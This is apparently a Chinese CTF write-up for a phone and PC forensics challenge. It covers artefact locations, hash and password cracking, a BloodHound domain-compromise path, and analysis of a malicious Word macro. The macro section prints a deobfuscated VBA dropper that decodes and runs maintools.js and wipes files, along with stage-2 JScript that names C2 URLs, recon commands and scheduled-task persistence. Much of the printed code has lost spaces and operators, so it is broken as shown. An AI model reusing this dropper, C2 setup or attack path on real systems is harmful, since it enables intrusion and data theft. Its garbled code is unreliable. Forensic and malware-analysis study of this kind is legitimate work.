图片加载不出来可以移步我的博客原文:https://blog.enxiaohao.cn/posts/Forensics/2026phbgroupwp/手机取证1. 请分析早起王的手机,手机型号为?【答案格式:Xiaomi13】Pixel 6火眼并没有自己解析出来,那我们搜索一下包含build的文件名/data/data/com.google.android.hardwareinfo/files/last_build.txt有build指纹:google/oriole/oriole:14/AP1A.240505.004/11583682:user/release-keys,对应的型号是Google Pixel 62. 请分析早起王的手机,早起王最近想旅行,结合高德地图搜索记录,他最可能去的景点是哪个?【答案格式:黄山】西湖3. 请分析早起王的手机,早起王在什么时间加上倩倩微信的?【答案格式:2025-08-1807:09:19】2026-03-3015:13:084. 请分析早起王的手机,倩倩在2026年3月30号吃了什么?【答案格式:西湖醋鱼】麻薯小蛋糕5. 请分析倩倩的手机,倩倩手机的系统版本是多少?【答案格式:5.2.3.123】6.0.0.380最外面的info.json写了但是个人认为这里使用备份记录版本来作为手机型号是欠妥的。我们可以找到手机里/com.ohos.settingsdata/com.ohos.settingsdata/data/storage/el1/database/entry/rdb/settingsdata_backup.db这个记录了系统信息的数据库,settingsdata表中的parentcontrol_last_notified_version字段为:ADA-AL006.0.0.130(SP25C00E130R4P7)个人觉得手机型号为6.0.0.130更严谨6. 请分析倩倩的手机,“舔狗”的微信内部ID是多少?【答案格式:wxid_ab12】wxid_uh5tfx2zi8yh227. 请分析倩倩的手机,倩倩曾给一位好友推荐游戏,这个好友叫什么名字?【答案格式:杨梅】冰糖在手机备忘录里面8. 请分析倩倩的手机结合逆向包,推荐的游戏叫什么?【答案格式:far echo】9. 请分析倩倩的手机,倩倩一共阅读过多少条搜狐新闻?【答案格式:11】33找数据库,很好定位,在这里:/com.sohu.harmonynews/com.sohu.harmonynews/data/storage/el2/database/entry/kvdb/2c77515efb1c9f5f9b5fdc9d2f78edae26e57c53dd63b19a9b0728f71f2aa42f/single_ver/main/gen_natural_store.db一个35条,前两条不是,所以33条10. 请分析倩倩手机逆向包,数据加密app的包名是什么?【答案格式:com.komeiji.satori】com.koishi.fpt解压即可看见,或者看fpt-default-signed.app10. 请分析倩倩手机逆向包,数据加密app的包名是什么?【答案格式:com.komeiji.satori】com.koishi.fpt解压即可看见,或者看fpt-default-signed.app11. 请接上题,初始化app时需要至少几位数的密码?【答案格式:10】6fpt-default-signed.app后缀改成zip可以直接解压,hap文件同理,解压后拿到\倩倩手机逆向包\fpt-default-signed.app\entry-default.hap\ets\modules.abc。这样用abc-decompiler打开,和jadx一样:爆搜密码,要求至少6位12. 请接上题,加密后的文件名的后缀是什么?【答案格式:.enc】.tb可以看到一个.json后面跟上了一个.tb(谭师兄的标志哈哈),010打开可以看见文件流是被加密了13. 请接上题,app会自动识别几种后缀的文件为图片类型?【答案格式:8】5可以看见,getFileType方法会把加密文件后面的.tb抹除,识别的文件图片文件类型有5种14. 请接上题,app共从用于自定义加密的so模块导入了几个方法?【答案格式:8】2继续往后翻翻,可以看见主要的加密逻辑自定义的这个d方法中,可以看到两个地方加载了这个libcrypto.so计算机取证1. 请分析早起王的PC镜像,计算机系统Build版本是什么?【答案格式:12345.1234】19045.64662. 请分析早起王的PC镜像,用户深情专一沼气王,她是我的生死劫的登陆密码LM哈希值后六位?【答案格式: abc123】1404ee火眼在设置列里面可以调整,这里太久没取证了,忘记这里了,我直接找了个网站算LMHash,算错了qwq,详细的知识补充看:https://blog.csdn.net/qq_44108455/article/details/123316800windows中的hash结构是username:RID:LM-HASH:NT-HASH,其中NTHash就是常说的NTLMHash,而LMHash是用于老式的windows认证,明文密码在14位以内才可以使用LMHash,本质采用DES。3. 请分析A的PC镜像,沼气王的桌面有本日记,请问沼气王暗恋对象的生日为?(答案格式:05月26日)多次输入错误后有提示,密码为大小写字母数字???04,用passwarekit爆破即可3. 请分析早起王的PC镜像,早起王受到过一封邮件,请找出邮件中隐写的秘密【答案格式: XXX,xxx】12点,老地方misc基本功,垃圾邮件隐写:邮件隐写:https://www.spammimic.com/4. 请分析早起王的PC镜像, VeraCrypt容器的外层密码是什么?【答案格式: abc123】【提示:分析utools】utools插件里面,仿真起来可以直接看到。5. 请分析早起王的PC镜像,早起王设置了一个AI女友,并自行导入过一个角色模型,该模型的原始文件名为?【答案格式: ABC.vrm】vc挂起来,有一个.vrm文件,ai女友软件很明显就是桌面上的AIRI这里要求我们上传.vrm或者.ziplive2D文件,那说明就是vc里面的那个.vrm文件6. 请分析早起王的PC镜像, AI女友使用的模型是什么?【答案格式: openai/GPT5.3-Codex-01-01】qwen/qwen3.5-flash-02-23可以仿真起来看:如果翻文件夹也行,但是我翻文件夹做的就做错了,能仿真尽量仿真吧。7. 请分析早起王的PC镜像,该PC中有一个离线大模型软件,其上次对话使用的模型是?【答案格式: ministra1-3-14b-reasoning】qwen2.5-coder-14b-instruct8. 请分析早起王的PC镜像,早起王曾删除一个MD5值为49B367AC261A722A7C2BBC328C32545的恶意文件,请尝试数据恢复并找到其文件名?【答案格式:abc123】在vc隐藏层里面,打开之后xway就可以看见,右键恢复。9. 请分析A的PC镜像,该PC中neo4j数据库的密码是多少?1qazxsw2user图片文件夹里的图片,有盲水印,所以neo4j的密码是1qazxsw210. 根据早起王笔录内容,早起王曾经对某企业进行过渗透攻击,请分析域内实体关系, FILESERVER.XIAORANG.LAB对XIAORANG.LAB域拥有什么控制权限?【答案格式: ABCabc】有关域,详细可以看我这篇:https://blog.enxiaohao.cn/posts/Pentration/DomainPentration/U盘里面有sharphound生成的域信息搜集文件,这个题目如果打过域渗透会很熟悉的,其实师兄就是拿了云境的Time靶机的域信息出的。我直接导入我自己的bloodhound了很明显,DCSync权限11. 根据早起王笔录内容,早起王在渗透过程中已成功控制ZHANGXINQXIAORANG.LAB,请结合域内实体关系图分析,早起王获取域控权限的完整攻击轨迹是什么?【答案格式:XXXXXXXX@XXXXXXX.XXX-XXXXXXXXXX.XXXXXXX.XXX-XXXXXXXX.XXX】ZHANGXIN@XIAORANG.LAB FILESERVER.XIAORANG.LAB XIAORANG.LABbloodhound里面筛选一下路径,ZHANGXIN@XIAORANG.LAB对FILESERVER.XIAORANG.LAB是GenericAll权限,ACL权限滥用,可以打RBCD,横向到FILESERVER.XIAORANG.LAB,FILESERVER.XIAORANG.LAB有DCSync,可以拿域控NTHash,就结束了。12. 早起王在PC中记录过自己的犯罪动机并对其进行加密,请使用社工的方式破解加密文件,并提交密码。【答案格式: aabc3**】Zqw20040101!根据早起王的姓名、生日进行社工爆破,先用Tscan生成字典:爆破:13. 早起王曾给倩倩发送过一封钓鱼邮件,请找到并计算附件MD5值【答案格式:字母不区分大小写】5436B61EA58ADB794804E3F18CE53F2A不能在火眼导出邮件附件算,md5会有出入。直接拿电脑里面的文件算。宏病毒原题: https://www.netscylla.com/blog/2021/09/23/Obfuscated-CTF.html1. 请接上题,该文件中有多个流(streams)包含宏。请提供其中编号最小的一个。【答案格式:3】8计算机中提取出来的恶意文件火绒直接报毒,是宏病毒。用oledump.py看所有流:编号8,9带有VBA宏,所以答案是82. 请接上题,混淆代码的解密密钥是什么?【答案格式:填写传入脚本的实际密钥,不包含命令行分隔空格】EzZETcSXyKAdF_e5I2i1导出一下带vba的流:python oledump.py -s 8 -v 49b367ac261a722a7c2bbbc328c32545 8.vba python oledump.py -s 9 -v 49b367ac261a722a7c2bbbc328c32545 9.vba导出之后代码有混淆,我们整理一下:主要行为是从当前文档中定位并提取一段隐藏数据,用XOR解码,落地为maintools.js,然后通过WScript.Shell.Run执行Attribute VB_Name = "Module1" Public DroppedFilePath As String Public TargetFolderPath As String Function DecodePayload(ByRef payload() As Byte, ByVal dataLength As Long) As Boolean Dim xorKey As Byte Dim index As Long xorKey = 45 For index = 0 To dataLength - 1 payload(index) = payload(index) Xor xorKey xorKey = ((xorKey Xor 99) Xor (index Mod 254)) Next index DecodePayload = True End Function Sub AutoClose() On Error Resume Next Kill DroppedFilePath On Error Resume Next Dim fileSystem As Object Set fileSystem = CreateObject("Scripting.FileSystemObject") fileSystem.DeleteFile TargetFolderPath "\*.*", True Set fileSystem = Nothing End Sub Sub AutoOpen() On Error GoTo ErrorHandler Dim documentHandle Dim documentSize As Long Dim payloadSize As Long documentSize = FileLen(ActiveDocument.FullName) documentHandle = FreeFile Open (ActiveDocument.FullName) For Binary As #documentHandle Dim documentBytes() As Byte ReDim documentBytes(documentSize) Get #documentHandle, 1, documentBytes Dim documentText As String documentText = StrConv(documentBytes, vbUnicode) Dim matchItem Dim matchCollection Dim regex As Object Set regex = CreateObject("vbscript.regexp") regex.Pattern = "MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh" Set matchCollection = regex.Execute(documentText) Dim markerOffset If matchCollection.Count = 0 Then GoTo ErrorHandler End If For Each matchItem In matchCollection markerOffset = matchItem.FirstIndex Exit For Next Dim payloadBytes() As Byte payloadSize = 16827 ReDim payloadBytes(payloadSize) Get #documentHandle, markerOffset + 81, payloadBytes If Not DecodePayload(payloadBytes(), payloadSize + 1) Then GoTo ErrorHandler End If TargetFolderPath = Environ("appdata") "\Microsoft\Windows" Dim fileSystem As Object Set fileSystem = CreateObject("Scripting.FileSystemObject") If Not fileSystem.FolderExists(TargetFolderPath) Then TargetFolderPath = Environ("appdata") End If Set fileSystem = Nothing Dim outputHandle outputHandle = FreeFile DroppedFilePath = TargetFolderPath "\" "maintools.js" Open (DroppedFilePath) For Binary As #outputHandle Put #outputHandle, 1, payloadBytes Close #outputHandle Erase payloadBytes Dim shellObject As Object Set shellObject = CreateObject("WScript.Shell") shellObject.Run """" DroppedFilePath """" " EzZETcSXyKAdF_e5I2i1" ActiveDocument.Save Exit Sub ErrorHandler: Close #outputHandle ActiveDocument.Save End Subauto.open()先是读取了当前文档的二进制值ActiveDocument.FullName,用正则搜索标记字符串找到后往后取16827字节,用decodepayload解密(去混淆之前叫Q7JOhn5pIl648L6V43V())解密方法是xor:然后将结果写入%APPDATA%\Microsoft\Windows\maintools.js,若目录不存在则写到%APPDATA%\maintools.js最后执行maintools.js EzZETcSXyKAdF_e5I2i1那么接下来我们根据提取和解密逻辑,把js文件提取解密一下:frompathlibimportPath INPUT_FILE="49b367ac261a722a7c2bbbc328c32545"EXTRACTED_PAYLOAD_FILE="extracted_payload.bin"DECRYPTED_OUTPUT_FILE="dumped-decryptor.js"MARKER=b"MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh"# VBA `Get #file, position, buffer` uses 1-based file positions.# The macro reads from `markerOffset + 81`, which maps to a 0-based Python slice offset of 80.PAYLOAD_OFFSET_FROM_MARKER=80PAYLOAD_SIZE=16828INITIAL_XOR_BYTE=45XOR_CONSTANT=99MODULUS=254defextract_payload(document_bytes:bytes)-bytes:marker_offset=document_bytes.find(MARKER)ifmarker_offset==-1:raiseValueError("Marker not found in input file.")payload_start=marker_offset+PAYLOAD_OFFSET_FROM_MARKER payload_end=payload_start+PAYLOAD_SIZEifpayload_endlen(document_bytes):raiseValueError("Payload extends beyond end of file.")returndocument_bytes[payload_start:payload_end]defdecrypt_payload(data:bytes)-bytes:output=[0]*len(data)xor_byte=INITIAL_XOR_BYTEforindexinrange(len(data)):output[index]=data[index]^xor_byte xor_byte=(xor_byte^XOR_CONSTANT)^(index%MODULUS)xor_byte=0xFFreturnbytes(output)defmain()-None:input_path=Path(INPUT_FILE)extracted_path=Path(EXTRACTED_PAYLOAD_FILE)decrypted_path=Path(DECRYPTED_OUTPUT_FILE)ifnotinput_path.exists():raiseFileNotFoundError(f"Input file not found:{input_path}")document_bytes=input_path.read_bytes()encrypted_payload=extract_payload(document_bytes)extracted_path.write_bytes(encrypted_payload)decrypted_payload=decrypt_payload(encrypted_payload)decrypted_path.write_text("".join(chr(byte)forbyteindecrypted_payload),encoding="utf-8",errors="ignore",)print(f"Input file:{input_path}")print(f"Extracted payload saved to:{extracted_path}")print(f"Decrypted script saved to:{decrypted_path}")print(f"Payload size:{len(encrypted_payload)}bytes")if__name__=="__main__":main()得到js代码,有混淆核心是使用了Base64-like 解码 + RC4 + eval,不复杂,可以直接解出stage2try{var wvy1 = WScript.Arguments;var ssWZ = wvy1(0);var ES3c = y3zb();ES3c = LXv5(ES3c);ES3c = CpPT(ssWZ,ES3c);eval(ES3c); }catch (e)frompathlibimportPathimportre,base64 text=Path('dumped-decryptor.js').read_text(encoding='utf-8',errors='ignore')key='EzZETcSXyKAdF_e5I2i1'm=re.search(r'var qGxZ = "([A-Za-z0-9+/=]+)";',text)ifnotm:raiseSystemExit('payload string not found')blob=base64.b64decode(m.group(1))S=list(range(256))j=0key_bytes=key.encode('latin1')foriinrange(256):j=(j+S[i]+key_bytes[i%len(key_bytes)])%256S[i],S[j]=S[j],S[i]i=j=0out=bytearray()forbinblob:i=(i+1)%256j=(j+S[i])%256S[i],S[j]=S[j],S[i]out.append(b^S[(S[i]+S[j])%256])Path('stage2.js').write_bytes(out)print('stage2 bytes',len(out))print(out[:500].decode('latin1',errors='replace'))去混淆之后:// Decompiled and renamed from the second-stage script embedded in dumped-decryptor.js.// The first-stage loader decodes this stage with RC4 key: EzZETcSXyKAdF_e5I2i1functionreadFileBytesCp437(path){varstream=WScript.CreateObject("ADODB.Stream");stream.Type=2;stream.CharSet="437";stream.Open();stream.LoadFromFile(path);vartext=stream.ReadText;stream.Close();returncp437StringToBytes(text);}varC2_URLS=newArray("http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php","http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php");varUSER_AGENT_SEED="w3LxnRSbJcqf8HrU";varRECON_COMMANDS=newArray("systeminfo ","net view ","net view /domain ","tasklist /v ","gpresult /z ","netstat -nao ","ipconfig /all ","arp -a ","net share ","net use ","net user ","net user administrator ","net user /domain ","net user administrator /domain ","set ","dir %systemdrive%\\Users\\*.* ","dir %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.* ","dir %userprofile%\\Desktop\\*.* ","tasklist /fi \"modules eq wow64.dll\" ","tasklist /fi \"modules ne wow64.dll\" ","dir \"%programfiles(x86)%\" ","dir \"%programfiles%\" ","dir %appdata% ");varPAYLOAD_RC4_KEY="2f532d6baec3d0ec7b1f98aed4774843";varPERSISTENCE_TASK_NAME="TaskManager";varPERSISTENCE_TASK_DESC="Windows Task Manager";varSTAGE1_ARGUMENT="EzZETcSXyKAdF_e5I2i1";varTASK_FOLDER="WPD";varBASE64_ALPHABET="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";varfileSystem=newActiveXObject("Scripting.FileSystemObject");varscriptName=WScript.ScriptName;varcurrentUsername="";varshell=createShell();varinstallDir="";varpersistedScriptPath="";functionencodeBase64FromBinaryString(input,use8BitChars){varencoded="";varbitBuffer="";for(vari=0;iinput.length;++i){varcharCode=input.charCodeAt(i);varbits=charCode.toString(2);while(bits.length(use8BitChars?8